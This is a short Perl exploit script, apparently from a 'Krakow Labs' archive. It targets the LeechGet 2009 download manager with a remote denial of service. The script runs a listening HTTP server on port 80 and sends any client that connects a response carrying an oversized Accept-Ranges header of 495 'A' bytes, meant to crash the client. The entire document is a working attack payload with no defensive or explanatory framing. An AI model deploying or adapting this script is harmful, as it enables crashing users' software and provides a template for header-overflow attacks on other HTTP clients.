#!/usr/bin/perl
# KL0309FUN_lg.pl
# Krakow Labs [Fun Archive] -> www.krakowlabs.com/dev/fun
# LeechGet 2009 'Accept-Ranges' Remote DoS
# rush@KL
# KL0309FUN_lg.pl

use IO::Socket;

$port    = 80;
$payload = "HTTP/1.1 200\r\nAccept-Ranges: " . "A" x 495 . "\r\n\r\n";

$serv = IO::Socket::INET->new(Proto=>'tcp', LocalPort=>$port, Listen=>1) or die "Error: listen($port)\n";

$cli = $serv->accept() or die "Error: accept()\n";

$cli->send($payload);
$cli->recv($buf, 512);

close($cli);
close($serv);